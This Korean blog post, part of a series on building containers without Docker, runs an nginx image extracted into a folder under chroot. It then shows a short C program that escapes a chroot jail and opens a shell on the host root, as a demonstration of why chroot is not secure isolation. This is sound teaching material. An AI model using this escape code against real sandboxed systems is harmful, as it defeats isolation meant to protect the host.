본문 바로가기

삽질

도커 없이 컨테이너 만들기 - 4

0. 개요

이 글은 아래 글과 이어집니다.

https://ksb-dev.tistory.com/374

 

도커 없이 컨테이너 만들기 - 3

0. 개요이 글은 아래 글과 이어집니다.https://ksb-dev.tistory.com/373 도커 없이 컨테이너 만들기 - 20. 개요이 글은 아래 글과 이어집니다.https://ksb-dev.tistory.com/372 vm에 접속한 상태여야 합니다.vagrant ssh

ksb-dev.tistory.com

 

이제까지 chroot를 사용하면 자원을 격리 시킬 수 있다는 것을 알게 되었습니다.

아래 글에서는 docker image를 chroot로 실행하는 방법과 chroot를 사용하면 안되는 이유에 대해 설명하겠습니다.

 

1. Nginx Docker Image를 chroot로 실행하기

docker image는 docker run을 통해 컨테이너 실행을 할 수 있습니다.

하지만, image의 압축을 해제하여 chroot로도 실행할 수 있습니다.

우선 nginx image를 nginx-root 폴더에 해제합니다.

mkdir nginx-root;
docker export $(docker create nginx) | tar -C nginx-root -xvf -;
chroot nginx-root /bin/sh;
 

nginx-root를 chroot로 실행 후 ls 명령어를 사용하면 nginx 내부 파일이 보입니다.

chroot nginx-root /bin/sh
ls

 

이제 nginx를 내부에서 데몬으로 실행해봅니다.

nginx -g "daemon off;"

 

host에서 curl 명령어를 통해 nginx가 실행중인지 확인해 봅니다.

curl localhost:80
​

 

 

docker image를 압축 해제하여 chroot로 실행하는 시스템 구성은 아래와 같습니다.

그림에서 redis로 설명하고 있지만, nginx로 생각하시면 됩니다.

출처 : https://speakerdeck.com/kakao/ige-dwaeyo-dokeo-eobsi-keonteineo-mandeulgi?slide=71

 

2. chroot를 사용하면 안되는 이유

chroot는 자원을 격리시킬 수 있지만, 스크립트 실행을 통해 탈출할 수 있습니다.

tmp 폴더 내부에 escape_chroot.c 파일을 만듭니다.

vi escape_chroot.c

파일 내용은 아래와 같습니다.

 
#include <sys/stat.h>
#include <unistd.h>

int main(void){
    mkdir(".out", 0755);
    chroot(".out");
    chdir("../../../../../");
    chroot(".");
    return execl("/bin/sh", "-i", NULL);
}

gcc로 c파일을 컴파일합니다.

gcc -o myroot/escape_chroot escape_chroot.c

 

tree 명령어를 통해 파일이 정상적으로 생겼는지 확인합니다.

tree -L 1 myroot

 

chroot 내부에서 escape_chroot를 실행하기 전 후의 ls 차이는 아래와 같습니다.

 

escape_chroot 파일을 실행하니 host의 root까지 접근할 수 있다는 것을 확인할 수 있었습니다.

이러한 문제는 해킹의 문제로 야기될 수 있으므로 chroot를 사용하면 안됩니다.